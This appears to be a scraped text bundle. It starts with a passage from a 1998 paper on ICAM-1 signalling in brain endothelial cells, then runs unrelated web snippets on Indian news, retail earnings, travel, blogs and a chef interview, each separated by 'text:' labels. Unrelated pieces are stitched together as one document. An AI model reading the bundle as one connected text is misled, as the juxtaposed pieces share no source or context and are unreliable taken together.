analyzed by SDS-PAGE, and transfered to nitrocellulose. Autoradiography of the blot was performed with an intensifying screen.
ICAM-1 cross-linking induces concomitant tyrosine phosphorylation of FAK, paxillin, and Cas
To investigate tyrosine phosphorylation of potential cellular Src substrates in response to ICAM-1 cross-linking, brain endothelial RBE4 and GP8 cells were treated with anti-ICAM-1 Ab, then with RAM Abs for 30 min (14). After treatments, cell lysates were incubated with anti-FAK, anti-paxillin, or anti-Cas Abs, and immunoprecipitates were subjected to immunoblot analysis with anti-phosphotyrosine Abs (Fig. 1⇓A, upper panels). In both cell lines, tyrosine phosphorylation of FAK, paxillin, and Cas was clearly enhanced in lysates from cells treated with anti-ICAM-1 Ab cross-linked with RAM, compared with that in lysates from nontreated cells or cells treated with anti-ICAM-1 or RAM Abs alone. Immunoblot analysis with Abs against FAK, paxillin, or Cas revealed similar amounts of proteins loaded in all lanes (Fig. 1⇓A, lower panels). As previously reported, paxillin exhibited a diffused pattern, and Cas was found to migrate as two bands, presumably due to differences in post-translational modifications. The specificity of these phosphorylations was confirmed by the observation that an additional anti-ICAM-1 mAb, 3H8 induced similar responses, whereas cross-linking of the transferrin receptor, another cell surface transmembrane protein, or incubation with an isotype-matched irrelevant Ab did not (data not shown).
To compare the kinetics of FAK, paxillin, and Cas phosphorylations with those of cortactin phosphorylation and Src activation (14), anti-ICAM-1 Ab-treated RBE4 cells were incubated with RAM for increasing periods of time (Fig. 1⇑B). Tyrosine phosphorylation of all three proteins was detectable 5 min after ICAM-1 cross-linking, reaching a maximal level between 15 and 30 min, then decreasing at 60 min. Control immunoblots with anti-FAK, paxillin, and Cas Abs demonstrated that equal protein amounts of protein were immunoprecipitated in all cases (data not shown). The kinetics of these phosphorylations were similar to those of cortactin phosphorylation (14). Also, they occurred concomitantly with Src activation, and the tyrosine-phosphorylated proteins were capable of binding the SH2 domain of Src in vitro (data not shown), as previously described (20, 27, 30).
These results demonstrate that ICAM-1 cross-linking induces concomitant tyrosine phosphorylation of FAK, paxillin, and Cas in RBE4 and GP8 cells.
Tyrosine phosphorylation of FAK, paxillin, and Cas is associated with Rho activation
Since FAK, paxillin, and Cas are proteins known to localize at focal adhesions, and Rho proteins have been implicated in the formation of actin stress fibers, focal adhesions, we investigated whether ICAM-1 cross-linking can induce Rho activation in RBE4 cells. Compared with nontreated cells, an increase in GTP-loaded Rho proteins was observed in response to ICAM-1 cross-linking (Fig. 2⇓A). Sample were normalized for the amount of Rho immunoprecipitated, and quantitative analysis indicated a twofold increase in Rho-GTP loading following ICAM-1 cross-linking (Fig. 2⇓A: GTP/GDT + GTP = 0.44 in control cells and 0.9 in ICAM-1-cross-linked cells). This observation was confirmed in GP8 cells, strongly suggesting that ICAM-1 cross-linking induces Rho activation in brain endothelial cells.
As previously reported, Rho activity is inhibited by pretreatment with the Clostridium botulinum exoenzyme C3 transferase, which selectively inhibits the activity of Rho by ADP-ribosylation (31, 32). ADP-ribosylation of RBE4 proteins by C3 exoenzyme shows a single band with an apparent molecular mass of 25 kDa, consistent with Rho, which has been correctly post-translationally modified (Fig. 2⇑B, left lane) (33). In RBE4 cells after pretreatment with C3 (50 μg/ml) for 8 h, we observed that Rho could not be further ADP-ribosylated in the presence of [32P]NAD (Fig. 2⇑B, right lane). This result indicates that C3 pretreatment (50 μg/ml, 8 h) of RBE4 cells was sufficient to provoke the full inactivation of Rho.
To investigate the role of Rho in FAK, paxillin, and Cas phosphorylation induced by ICAM-1 cross-linking, cells were pretreated cells with C3 exoenzyme. In these conditions, ICAM-1 cross-linking failed to induce tyrosine phosphorylation of FAK, paxillin, and Cas (Fig. 2⇑C). In contrast, C3 pretreatment did not abolish ICAM-1-induced cortactin phosphorylation (not shown), indicating that C3 pretreatment differentially effect the various ICAM-1-coupled events.
Coimmunoprecipitation of FAK, paxillin, and Cas
Western blot analysis of FAK immunoprecipitates from RBE4 cells activated by ICAM-1 cross-linking revealed coimmunoprecipitated tyrosine-phosphorylated proteins of 68–70 and 130 kDa (Fig. 3⇓, upper panels). These phosphorylated proteins comigrated with paxillin and Cas, respectively. Reciprocally, these three proteins, FAK, paxillin, and Cas, were detected in paxillin as well as Cas immunoprecipitates from activated cells. None of these proteins could be detected in immunoprecipitates using irrelevant Abs (data not shown), excluding the possibility that these proteins were nonspecifically trapped. These results indicate that in parallel with their tyrosine phosphorylation, FAK, paxillin, and Cas can associate in bi- or trimolecular complexes upon ICAM-1 cross-linking.
Phosphorylated paxillin and Cas can associate with the adaptor protein Crk
Phosphorylated tyrosine residues are potential binding sites for SH2 domain-containing proteins such as the adaptor proteins Grb-2 and Crk. To assess whether these adaptor proteins were involved in ICAM-1-coupled signaling cascades, we determined the capacity of FAK, paxillin, and Cas to interact with GST-Grb2 or GST-Crk fusion proteins (Fig. 4⇓A). Following ICAM-1 cross-linking, Cas and paxillin were retained on GST-Crk, but not on GST-Grb-2 (Fig. 4⇓A, left panels). Under these conditions, no association of FAK with either Grb-2 or Crk was detectable. These results were confirmed by the observation that another anti-ICAM-1 Ab, 3H8, induced similar responses (not shown). Treatment of cells with anti-ICAM-1 or RAM alone did not lead to any association of these proteins with either GST-Crk or GST-Grb-2 (not shown). Moreover, we observed that paxillin and Cas bound to GST-Crk-SH2 (Fig. 4⇓A, right panels) concomitantly with their tyrosine phosphorylation (not shown). These results indicate that upon ICAM-1 cross-linking, tyrosine-phosphorylated paxillin and Cas can associate with Crk via its SH2 domain, while FAK apparently does not couple to any of the Crk or Grb-2 signaling pathways. Consistent with our observation that C3 exoenzyme pretreatment inhibits ICAM-1-induced tyrosine phosphorylation of paxillin and Cas (Fig. 2⇑C), we observed that this pretreatment also completely abolished the binding of these proteins to Crk (Fig. 4⇓C).
It has been reported that Crk, via its SH3 domain, is constitutively associated with GTP/GDP exchange factors (34). GST-Crk or GST-Grb-2 fusion proteins were incubated with cell lysates from activated or nonactivated RBE4 cells. Immunoblot analysis revealed that C3G and SOS constitutively interacted with GST-Crk, whereas only SOS was able to interact with GST-Grb2 (Fig. 4⇑B, left panel). As expected, no interaction of these proteins was observed with the SH2 domain of Crk.
Analysis of proteins coimmunoprecipitated with paxillin or Cas following ICAM-1 cross-linking revealed the association of C3G with Cas (Fig. 4⇑D). This result further demonstrates activation of the Crk signaling pathway following ICAM-1 cross-linking and points to C3G as a main downstream element of this pathway.
ICAM-1 cross-linking induces activation of JNK but has no effect on the Erk pathway
Since small G protein are known as upstream regulator of mitogen-activated protein kinases (Erk and JNK), we investigated the effect of ICAM-1 cross-linking on these pathways. We first analyzed the activity of the small G protein Ras, which is an upstream regulator of mitogen-activated protein kinase cascades. Ras activity was determined by analyzing its ability to bind the RBD of Raf. Whatever the duration of the treatment, ICAM-1 cross-linking did not induced any detectable Ras binding to GST-RBD, whereas epidermal growth factor stimulation did (Fig. 5⇓). Analysis of Erk-2 kinase activity did not reveal any significant Erk-2 activation upon ICAM-1 stimulation (data not shown).
In contrast, ICAM-1 cross-linking induced a fivefold increase in JNK activity in RBE4 cells as well as in GP8 cells (Fig. 6⇓A). JNK activation was detectable 15 min after ICAM-1 cross-linking and reached a maximum at 30 min, declining at 60 min (Fig. 6⇓B). The amount of JNK retained on GST-Jun beads was controlled by immunoblotting (lower panels). Treatment with anti-ICAM-1 or RAM Abs alone as well as cross-linking of an irrelevant, isotype-matched Ab by RAM (not shown) did not induce any detectable elevation in JNK activity. Investigating the role of Rho in JNK activation, we showed that C3 pretreatment of cells completely abolished JNK activation induced by ICAM-1 cross-linking (Fig. 6⇓C). In contrast, C3 pretreatment had no effect on the epidermal growth factor-induced Ras/Erk pathway (not shown), confirming the specificity of the toxin toward Rho. Taken together, these results strongly suggest that in brain endothelial cells, ICAM-1 cross-linking induces JNK activation via a Ras-independent and Rho-dependent pathway.
In the present study, we demonstrate that ICAM-1 cross-linking in brain endothelial cell lines causes Rho activation in association with tyrosine phosphorylation of the cytoskeleton-associated proteins FAK, paxillin and Cas, and their association in a multimolecular complex. While FAK in this system does not interact either with the adaptor proteins Grb-2 or Crk, Cas and paxillin can specifically bind Crk. Immunoprecipitation studies confirm that following ICAM-1 cross-linking, Cas is involved in a Crk signaling pathway leading to the recruitment of the GTP exchange factor C3G. Activation of this pathway does not induce any detectable activation of Ras and Erk, but may be involved in the increase in JNK activity observed following ICAM-1 cross-linking.
As previously reported for focal adhesion formation, FAK may be responsible for the recruitment of Src, Cas, and paxillin and their association (6, 35). We have observed that phosphorylation of FAK, paxillin, and Cas correlates with their ability to bind the SH2 domain of Src (data not shown) and occurred concomitantly with Src activation (14). Our data indicate that FAK, Cas, and paxillin coimmunoprecipitate, reflecting their stable association within the cell upon ICAM-1 cross-linking. These results show, for the first time, that engagement of an adhesion molecule of the CAM family can induce responses of the same kind as those observed following integrin stimulation (36). Clustering of ICAM-1 molecules occurs at the luminal membrane of endothelial cells, not at focal adhesions, suggesting that a diffusible fraction of FAK, paxillin, and Cas may be recruited by ICAM-1 cross-linking to the luminal face of brain endothelial cells. Such a hypothesis has been previously proposed in endothelial cells for clustering of luminal αvβ3 integrins (37). Alternatively, cytoskeletal rearrangements may be involved in a functional connection between luminal ICAM-1 molecules and tyrosine phosphorylation at focal adhesions, where clustering of β1 integrins is associated with transient tyrosine phosphorylation of multiple proteins, including FAK, paxillin, and Cas (16, 17). It has been shown that the ICAM-1 intracellular domain is directly linked to cytoskeleton-associated proteins α-actinin and ezrin (12, 13). Interestingly, recent observations indicate that proteins of the ERM family can initiate the activation of Rho through interaction with Rho GDP dissociation inhibitor (38). We have recently observed that ICAM-1 cross-linking induced actin-stress fiber formation in a Rho-dependent manner (see Footnote 3), which suggests that these cytoskeletal modifications may be responsible for tyrosine phosphorylation of FAK, paxillin, and Cas at the level of focal adhesions.
Tyrosine phosphorylation of paxillin and Cas allows for the binding of these proteins with the adaptor protein Crk and indirectly with the exchange factors SOS and C3G. Since the only association detected by coimmunoprecipitation was among Cas, Crk, and C3G, it is tempting to consider this complex as the major if not the only one induced by ICAM-1 cross-linking. Indeed, Ras, a known target of SOS, was not activated after ICAM-1 cross-linking. Accordingly, we did not detect any significant activation of Erk. In contrast, in parallel with the C3-sensitive activation of the Crk signaling pathway, we observed a C3-sensitive activation of JNK. These observations suggest that in the ICAM-1 signaling cascade, JNK is downstream of the guanine nucleotide exchange protein C3G, as recently reported in transfected NIH-3T3 cells (39). Moreover, our results are in agreement with the recent report that C3G-mediated JNK activation is Ras independent (40).
Taken together, our results may explain the fundamental role of ICAM-1 in T lymphocyte migration through brain endothelium in vitro (10). Since JNK participates in the transcriptional regulation of multiple genes by phosphorylating several transcription factors (41), ICAM-1 cross-linking in brain endothelial cells might transcriptionally regulate the expression of various agents, such as IL-1β or IL-6, which are known to increase blood-brain barrier permeability (42). In addition, interendothelial junctional complexes can be directly affected by JNK activation and tyrosine phosphorylation of cytoskeleton-associated proteins, as shown for adherens junctions in epithelial cells (43, 44). In line with these observations, our results suggest that ICAM-1 cross-linking can contribute to cell junction destabilization and blood-brain barrier opening via a Rho-dependent mechanism. Our recent observation that this pathway is involved in T lymphocyte migration through brain endothelium supports this hypothesis (see footnote 3). Extrapolation of our in vitro data to an in vivo situation would suggest that in inflammatory situations such as viral infection or multiple sclerosis, ICAM-1 engagement with αLβ2-expressing activated lymphocytes might support lymphocyte trafficking to the brain by triggering signal transduction cascades in brain endothelial cells.
We thank Drs. J. M. Kyriakis (Massachusetts General Hospital, Charlestown, MA) and W. Hickey (Dartmouth Medical School, Hanover, NH) for kindly providing anti-JNK and anti-ICAM-1 Abs, and Drs. M. Resh (Memorial Sloan-Kettering Cancer Center, New York, NY) and S. Fischer (Institut Cochin de Génétique Moléculaire, Paris, France) for the kind gift of GST-Src and GST-Crk fusion proteins. We also thank Dr. S. Fischer for helpful comments on the manuscript.
↵1 This work was supported by grants from the Centre National de la Recherche Scientifique, Institut National de la Santé et de la Recherche Médicale, Association pour le Développement de la Recherche sur le Cancer, Université Paris VII, Ministère de la Recherche et de l'Enseignement Supérieur, and the Wellcome Trust, U.K.
↵2 Address correspondence and reprint requests to Dr. Sandrine Etienne, UPR 0415, Institut Cochin de Génétique Moléculaire, 22 rue Mechain, 75014 Paris, France. E-mail address: etienne{at}icgm.inserm.fr
↵3 P. Adamson, S. Etienne, P.-O. Couraud, V. Calder, and J. Greenwood. T-lymphocyte migration through CNS endothelial cells involves signaling through endothelial ICAM-1 via a Rho-dependent pathway. Submitted for publication.
↵4 Abbreviations used in this paper: FAK, focal adhesion kinase; Cas, p130Cas; RAM, rabbit anti-mouse; Erk, extracellular signal-regulated kinase; JNK, c-Jun N-terminal kinase; GST, glutathione S-transferase; RBD, Ras-binding domain; NAD, nicotinamide-adenine dinucleotide phosphate; AEBSF, 4-(2-aminoethyl)benzene-sulfonyl fluoride.
- Received February 27, 1998.
- Accepted July 13, 1998.
- Copyright © 1998 by The American Association of Immunologists


text:
Police Investigate Homicide In Dodge City
KSCB News - September 23, 2014 11:16 am
Dodge City police are investigating a homicide.
It happened Monday at around 5:15 p.m. in the 600 block of West Spruce Street.
Officers from the Dodge City Police Department and Ford County Sheriff Department responded for an injured person.
Upon the Officers arrival, they found 30-year-old Dodge City resident Natasha Pruitt dead.
Around 11:15 p.m., Dodge City police says a person of interest was taken into custody on unrelated charges.
At this time, the investigation continues.


text:
There will be no reservation for Maratha community in PG medical and dental courses in Maharashtra in the current academic session as Supreme Court on Thursday dismissed the plea of state govt challenging high court verdict for not allowing reservation.
The Bombay high court had ruled that the state government's notification dated March 8, 2019 regarding socially and economically backward castes (SEBC) quota in health science courses would not be applicable to PG dental and medical admissions since the registration process for NEET began on October 16 and November 2 in 2018.
Challenging the order of the HC, state government moved SC but it refused to grant any relief and accused the government of "creating a mess" by allowing reservations in the middle of the admission process. The court directed the state to revise the merit list and extend the counselling for admissions by one week.
Make sense of the 2019 Lok Sabha elections and results on May 23 with TOI. Follow us to track latest news, live updates, news analysis and cutting-edge data analytics. Track live election results, the big trends and fastest updates on counting day with India's largest news network.
Online Mock Exam: NEET JEE MHT CET 2019
Click to View| Upcoming Entrance Exams
India's Leading Educational Web Portal now available on Google play store https://goo.gl/HbsLr2
Check FYJC & ALL COURSES UNDER DTE & DMER - Previous & Current Year Cutoff | http://vidyarthimitra.org/rank_predictor
Download App Now: Cut-offs 2019
Also Read: List Of Foreign Medical Institutions/Universities For MBBS
For all latest Govt Jobs 2019, Railway Jobs, Bank Jobs and SSC Jobs log on to https://goo.gl/YPjt94 We bring you fastest and relevant notifications on Bank, Railways and Govt Jobs. Stay Connected
| Govt. & Private Jobs, Internships, Campus Drive, Off-campus & many more |
Get free Educational & jobs alert on WhatsApp OR Telegram(https://t.me/VidyarthiMitra) Save this mobile number (77200 25900) on your phone as VidyarthiMitra.org and send WHATSAPP message (Your Name, City & Interest)
'विद्यार्थी मित्र' जॉईन करा आणि मिळवा न्यूज, नोकरी, शासकीय व निमशासकीय नोकऱ्यांच्या जाहिराती व माहिती अगदी विनामूल्य ते ही आपल्या व्हॉटस्अॅपवर किंवा* *टेलेग्राम (https://t.me/VidyarthiMitra) हा मोबाईल नं. सेव्ह करून आपले <नाव> <शहराचे नाव> <नोकरी> ७७२०० २५९०० मेसेज पाठवा


text:
Opinion | A Tata Sons IPO could be the answer to Tata Motors` JLR quandary
Why mutual funds are running away from risk-free government bonds
What should investors look for in March quarter results?
Morningstar Forecast on the Walmart- Flipkart deal
NPS investment proof: How to claim income tax deduction
Published on 14/01/2019 11:03:47 AM | Source: HT Media
Now Get InvestmentGuruIndia.com news on WhatsApp. Click Here To Know More
After Avenue Supermarts Ltd's negative earnings surprise in the September quarter (Q2), the stock fell nearly 20% in the following six trading sessions. But investors have found it difficult to stay away from the stock for too long—the stock has increased as much as 39% from its lows.
Avenue Supermarts runs the DMart supermarket chain and enjoys a scarcity premium in the retail industry, enabling it to command supremely premium valuations. Recently, consumption-related stocks have been in favour and that optimism has rubbed off on the DMart stock as well.
The question now is whether a disappointment on Ebitda margin for the second consecutive quarter will turn investors cautious. DMart Q3 results released on Saturday show Avenue Supermarts's Ebitda margin slipped by a substantial 200 basis points over the year-ago period to 8.3%.
Ebitda is earnings before interest, tax, depreciation and amortization. A basis point is 0.01%.
Ebitda stood at ₹453 crore, falling short of many analysts' expectations. Analysts from Jefferies India Pvt. Ltd had estimated that the company will eke out an Ebitda of ₹514 crore. Similarly, Kotak Institutional Equities was expecting an Ebitda of ₹510 crore, even as revenue growth at 33% is in line with the broker's expectations.
Higher costs are the culprit. There was preloading of certain expenses, says the retailer. "We also overspent a little to manage the festival season better through longer operating hours," said Neville Noronha, Avenue Supermarts' chief executive officer and managing director, in the Q3 results press statement.
When the market opens today, it is more likely that investors would react to the muted margin performance rather than be upbeat about the robust revenue growth, which was helped by price cuts. Plus, valuations of the retailer that follows everyday low cost-everyday low price strategy are expensive.
The DMart stock trades at almost a 100 times price-to-earnings multiple (97 times, to be precise) based on estimated earnings for FY19, according to Bloomberg data. For the nine-month period ended 31 December, net profit has increased by about 19% over the same period last year. Clearly, earnings growth lags far behind valuations. And net profit growth of just 2% last quarter should prompt analysts to cut earnings estimates.
Besides, in the nine months ended December, nine stores were added, which isn't impressive. In FY18, store additions were comparatively higher in the March quarter. Accordingly, investors would do well to follow whether the same trend persists.
Hyundai Year-end Offers: Benefits Of Up To Rs 95,000 On Creta And Even More On Tucson
Santa rally on the cards, Nifty to march towards 12400 - ICICI Direct
Maruti Brezza Dominates Demand In Sub-4m SUV Rivals
Salman to promote `Dabangg 3` in Hyderabad, Chennai, Bengaluru


text:
// ##################### Google AdSense Custom Search Ads (New Style) #############
Double over Double Bunks, Z1 Convenience Pkg, large slide w/ dinette& Sofa, Walk around Queen Bed, Entertainment centre and more.........
All In Pricing, includes Factory Freight, PDI and Admin Fee.
The Z1 also boasts an abundance of great features typically reserved for higher priced travel trailers. Some of these standard features include a DSI water heater, actual doors separating living and bedroom areas for optimal privacy, as well as diamond plate protection on the front of the trailer.
The Bella Vista RV buying Experience, a NO pressure Educated experience with a Lifestyle Consultant, backed by a knowledgeable Service team. Come join the Family.


text:
7th Pay Commission: With more bad news, this is what CG employees will do
Will the government be forced to re-think its decision on not increasing the salaries of Central Government employees beyond the recommendations made by the 7th Pay Commission? There is terrible news on this front and this has led to misery and heartburn among the CG employees who have been waiting for good news.
This resentment and with all hopes fading has led the 50 lakh government employees to become aggressive. They are planning a huge strike and say that they would ensure that the government reconsiders its decision.
NJAC's Shiv Gopal Mishra, who led the negotiation over 7th Pay Commission on behalf of central government employees, expressed dissatisfaction over the government's decision and said the struggle for higher minimum pay will continue. "The employees are agitated and there is a lot of disappointment. I can assure that the demand to raise the minimum pay has not been forfeited. If negotiations do not give us a solution, then an agitation would", he also said.
Minister of State for Finance, P Radhakrishnan had said in the Lok Sabha that the government was not considering any minimum pay hike. The minimum pay of Rs 18,000/- per month and fitment factor of 2.57 is based on the specific recommendations of the 7th Central Pay Commission in the light of the relevant factors taken into account by it. Therefore, no change therein is at present under consideration, he also said.
OneIndia News


text:
Furniture For Thought | EMU
Nothing quite captures la dolce vita like EMU. This is a true and unembellished story: A middle-aged American woman came into the KE-ZU showroom a couple of months ago, wanting to know if we sold emu. We told her that EMU is one of our most popular brands and proceeded to show her a couple of groovy Retrouve wire chairs. "They are l...Read more


text:
When you are Spiritually connected, you are not looking for occasions to be offended, and you are not judging and labelling others. You are in a state of grace in which you know that you are connected to God, and thus free from the effects of anyone or anything external of yourself. ~Wayne Dyer
If you need help raising your energy level, or vibration, contact me at "Linda L Young.com" for more information, or for ongoing, upcoming events and classes.
Remember to Live life to the fullest – Every day, and be compassionate to everyone, including yourself!
Do what you LOVE.
Be happy,
and keep doing the things that make you happy!
Live – Laugh – Love
Leave the past in the past and enjoy the day you have right now…
Copyright © 2019 Linda L Young


text:
Girls Basketball
Head Coach: Jeffrey Duda
Asst Coach: John Blake
Levels: JV and Varsity grades 9-12
Game sites: Grasso Tech Gym
Start times: 4:30 p.m. for JV and 6:00 p.m. for Varsity
Admissions info: $3.00 for adults, $1.00 for students, $1.00 for senior citizens and kids under 10 are free
Recent Highlights
The girls basketball team competes in the CT Technical Conference and continually strives for greatness. Each year the team sets goals that reflect a "Team First" winning attitude. Over the years the girls basketball team has won division championships, qualified and advanced in the state tournament, and every year develops players into All-Conference-caliber athletes.


text:
Tag Archives: Cognitive Dissonance
Conservative and Gay: Not Hypocritical, But Not Healthy Either
Just because some conservatives have reconciled their homosexuality doesn't mean we should applaud them for what they do in the name of the LGBT community.
Queer and Queerer Ep. 13 – The Right To Discriminate and Allies Gone Wild
Zack and Peterson are back this week to talk about the Supreme Court ruling in Christian Legal Society v. Martinez and the good-intentioned but not always effective efforts of allies. Zack outlines the details of the case and the importance of nondiscrimination policies in higher education and highlights, in particular the dissent in the case. […]


text:
Be the first to know about new events, offers and competitions
Monday - 08:45 - 17:00
Tuesday - 08:45 - 17:00
Wednesday - 08:45 - 17:00
Thursday - 08:45 - 17:00
Friday - 08:45 - 17:00
Saturday - 09:00 - 12:00
Sunday - Closed
Llandudno's immaculate seafront is gracefully framed by two headlands and is a classic seaside resort with a great retro pier. It is also so at the start of stunning snowdonian scenery.
Snowdonia has great scenery all year round and our hotel is right in the middle of it set in its own 30 acres of gardens and woodland. There is a trip out every day and the hotel provides us with a packed lunch to take with us. Free tea ...more info
Barmouth is where the mountains meet the sea and you will love the area, the people and the scenery. The town is west facing over Cardigan Bay so the sunsets are spectacular. Last year was our first year at the Min Y Mor Hotel and the fe...more info
Pembrokeshire is known throughout the world for its awesome coastal scenery and its golden sands are backed by towering cliffs. Tenby is a town steeped in ancient history surrounded by an imposing medieval stone wall.
Criccieth is a small, unspoilt seaside resort with two bays and from the headland there are magnificent views of Snowdon and Cardigan Bay.
Tours really don't get more action-packed than this with 2 included extras every day whilst in resort. And with visits ranging from a Brewery right through to a train to the highest mountain, there is something for every taste. The...more info
With castle and countryside, highlands and history abound, what better way to encounter the real majesty of the North of Wales than abroad 3 great trains snaking their way past castles, mountains, Welsh heritage and historic industrial s...more info
We're filtering your results to help you find the perfect break.


text:
Surrounded by the garnet green vegetation and blest with a serene ambiance, Bear Shola Falls is a famous attraction in Kodaikanal. According to the local tales, it is said that a lot of bears used to come at this site for drinking water that gave this waterfall the name Bear Shola. It is a seasonal waterfall that flows with a great speed during monsoons. The off-season time is the right time for enjoying trekking at this place.
It Is Known For:-
1) Bear Shola Falls is located in a secluded region and is known for its beautiful surroundings
2) Its ambiance makes it a famous and a frequented place. It is visited by the locals and visitors on a huge scale
3) Since it is a seasonal waterfall, its true beauty can be seen during the monsoons. The flow and the speed of the fall double-up and form a pool
4) Locals also claim that the minerals found in its waters have a capacity of healing the fever
5) Excluding the monsoons, the other seasons are regarded as the appropriate time for enjoying trekking in the woods around this waterfall
Best Time To Visit:-
The visitors often pay a casual visit to the secluded site of Bear Shola Falls due to its serenity. The beauty of Bear Shola Falls never fails to attract the visitors on a large scale and thus, it is visited by the tourists throughout the year.
Reaching There:-
Despite its location in secluded surroundings, Bear Shola Falls has a well-established network of the roadways. The local buses and taxis ply to its route frequently.
Nearest Railway Station- Kodai Junction
Nearest Airport- Madurai Airport
Top Things To Do In KodaikanalView All
Best Travel Packages in KodaikanalView More Packages
Add Your Travel Story
your email address will not be published. Required field are marked *
Comments will go through a verification process for security reasons.


text:
The Life Skills Empowerment project, true to its name, aims at imparting and improving the life skills in its beneficiaries. With the objective to empower adolescent slum girls, the LSE module contains sessions on skills focusing on personality development, such as communication skills, time management, stress management, critical thinking, problem solving techniques etc, which has proven to get many of these girls out of their shell and live life more confidently.
The last batch of LSE Girls (year 2017-18) consisted of girls, who were all from a Municipal School (BMC) near our LSE centre. This led to a very healthy relationship between this BMC school and Mumbai Smiles Foundation, that also encouraged a number of activities for these LSE girls to be organized together.
And so when, at the end of the previous academic year, the school decided to throw a send-off party, they also invited Mumbai Smiles' LSE project team to see how some of the girls of LSE together organized this farewell party for the rest of the class!
The event was very well organized. Starting off with a performance by the students and music teacher, the event was hosted by two of the LSE girls, Sanchita & Sarita who had organized a few fun games throughout the event for entertainment as well as to thank all their teachers. These children presented their teachers with flowers and gifts and each of the teachers shared their experience of teaching these girls and the kind of development in their personality that they have observed, especially because of the LSE sessions and activities. This was a very encouraging moment for the girls, as many of them, who used to be shy and timid, have now emerged to be extremely confident and a team player and were able to pull off an important school event like this send-off/farewell party.
At the end of the event, the Principal of the school appreciated all the efforts of Mumbai Smiles Foundation's LSE program which has helped 50 gilrs become much more confident and empowered in their lives and we hope this encourages more parents to admit their daughters in this project in the coming few months!


text:
New Zealand-born chef and MasterChef: The Professionals judge Monica Galetti picks her favourite foodie cities, for street food, barbecue, food markets and fantastic restaurants
Singapore has a real reputation for food. What I love about Singapore is the street food (pictured, above). I'll try everything that they have. They do the local crab, a dish they have which is in the street food but also in the great restaurants. It's spiced crab with lovely deep fried bread rolls.
The street food is done in the middle of the city and they just close the streets off, shut down the streets and put the tables out. You get all these stands – it looks like a marketplace in the middle - where you can go and line up for a stall, or they can come and take your order as well, as long as you take a seat near their area. As long as there's a table available, you just rock up, take a seat. It's so much fun.
It's a place where a stall might just cook one dish, but they're masters of that one dish. It's completely varied. There might be a stand that just does sweets, for example, or one that does kebabs, or another where all they do is seafood.
Spice is a big thing there in Singapore and I quite like spicy food. For me, eating in Singapore a dream thing to do.
I've been to Sydney a few times and it just has an incredible variety of food. There's such a great foodie scene. It's also one of the first places I ever really travelled to to try food when I was still cooking in New Zealand, so I have very fond memories. I did a lot of competitions throughout Sydney. It was such a great country to visit as a young chef starting out.
Sydney does seafood (pictured, above) incredibly well. Australia in general has incredible seafood. They can source such incredible ingredients, like Moreton bay bug, which look like little aliens, but are a bit like crayfish and very meaty. They have a huge amount of them there but they're hard to get outside of Australia.
I also love the markets in Sydney, and around Sydney Harbour Bridge they have all the amazing restaurants within walking distance.
New York has such a mix of what you can eat, from really high end dining to cool barbecue places and the quick style food they do so well. They have great Asian restaurants, a lot of Italian in the mix as well. There's huge diversity and it's done very well.
I'm a real foodie, so I'll try everything, from queuing up to try one of the best pastrami sandwiches that the city has to offer, along with all the pickles. I like to find the greatest things that they have there, and it doesn't have to be fancy. It can be the simple things that they do.
For restaurants, 11 Madison Park is a favourite restaurant right now. It's a contemporary American restaurant, run by chef Daniel Humm (pictured, above).
Copenhagen is famous for places like Noma (pictured, above) and has great high end restaurants; everyone who loves food has gone there to try Noma. But I also enjoy trying lesser known restaurants that I think are up and coming now.
One of my favourites at the moment is a place called Relae. It's very small, very cool, not formal, very casual. There's loud music playing, the waiters are very open, and they only do something like 10 tables. They draw the menu on the tables, and it's a set menu, with a vegetarian option or ones with protein. It's very simple but delicious food.
Foraging is the big thing in Copenhagen. There's another place I went to when I was there called Geranium and I think they've got their third Michelin star now. Again, it's about fresh ingredients; simple, but delicious.
But, perhaps, no one does it better than Noma.
London is one of the best cities in the world for me. It definitely has to be in the Top 5. It has such fantastic diversity. London is where you want to be for a food scene. I can't see it being any better than what we have. Again, you've got the little street food scene happening, the Pop-Ups that are coming along. There's a lot of nurturing young talent right through to great established restaurants. We're spoilt for choice, from very high end dining to places that are casual but very good.
We also have great food markets (Spitalfields, pictured, above) with fresh produce. Londoners have learnt you don't have to always shop at the supermarkets. The bars are fantastic, too. I'm a big fan of The Barnyard, a cool little bar.
You have the restaurants that people know about, like La Gavroche which is so famous, and amazing talents like Tom Kerridge who are big names worldwide now. People come to the UK to try their places. But then you have young emerging talent. There's such a range of cuisine available throughout London.
Monica Galetti's new book The Skills is out now, published by Quadrille, £20. See www.quadrille.co.uk
Sign up today for free and be the first to get notified of new articles, new competitions, new events and more!


text:
The Illogical Beauty of Forgiveness
"When we forgive evil we do not excuse it, we do not tolerate it, we do not smother it. We look the evil full in the face, call it what … Continue reading
The Random Musings of an Insomniac
Just a heads-up. This isn't a deep, thoughtful post. It's just random thoughts that rise out of my sleep-deprived brain. I'm trying to lower your expectations ahead of time to … Continue reading
I'm a Blogging Superstar!!
Not really. At least not yet. Sigh BUT….. I felt like one for about 18 hours and let me tell you something, it was amazingly awesome! Ok so last night … Continue reading
The Wheelchair Princess and How She Got Her Crown. Michelle's Story
Please go to http://www.gofundme.com/WheelchairPrincess to donate, or click on the link at the bottom. I'm going to tell you a story that just might make you cry. It's made me … Continue reading
My Favorite Flavor of Ice Cream and Other Things That Don't Matter.
I have a huge draft pile hidden on my blog. Pages and pages of my deepest thoughts that swell up and spill over onto my keyboard. Stories Poems Diatribes Rants … Continue reading
Why won't God just do things My way?
I'm pretty upset at God right now. He's no doubt a little miffed at me as well. I'm not sure though because we haven't spoken for a while. I'm an … Continue reading
What Happened to the Truth??i
Today is one of those days where my emotions and thoughts are a scrambled mess. Concepts like trust, and truth are flitting in and out of my mind, leaving a … Continue reading
One of Those Days. A glimpse into the life of chronic illness
Today is one of those days. I know that already, because I woke up exhausted and in pain. These days just suck because I know ahead of time what I'm … Continue reading
The Evil Stepmother Diaries, or, Things I have learned the hard way
There are a few lessons that I've learned in my almost 10 years as a stepmom that I feel compelled to share for those naive women who come after me. … Continue reading


text:
This content is PDF only. Please click on the PDF icon to access.
This is an outstanding book, containing an up-to-date review of all major and minor forms of valvular heart disease and detailed chapters on each of the major types; separate chapters cover acute mitral regurgitation and acute aortic regurgitation. There are outstanding chapters on the cause and development of valvular heart disease, preventing infective endocarditis, and managing anticoagulant therapy. The editors are internationally recognized authorities in valvular heart disease from the University of Massachusetts Medical School. All of the contributing authors are also from this school.
For each form of valvular heart disease, the authors thoroughly discuss cause and pathophysiology as
Valvular Heart Disease.. Ann Intern Med. 1982;96:544. doi: https://doi.org/10.7326/0003-4819-96-4-544_3
Download citation file:
© 2019
Published: Ann Intern Med. 1982;96(4):544.
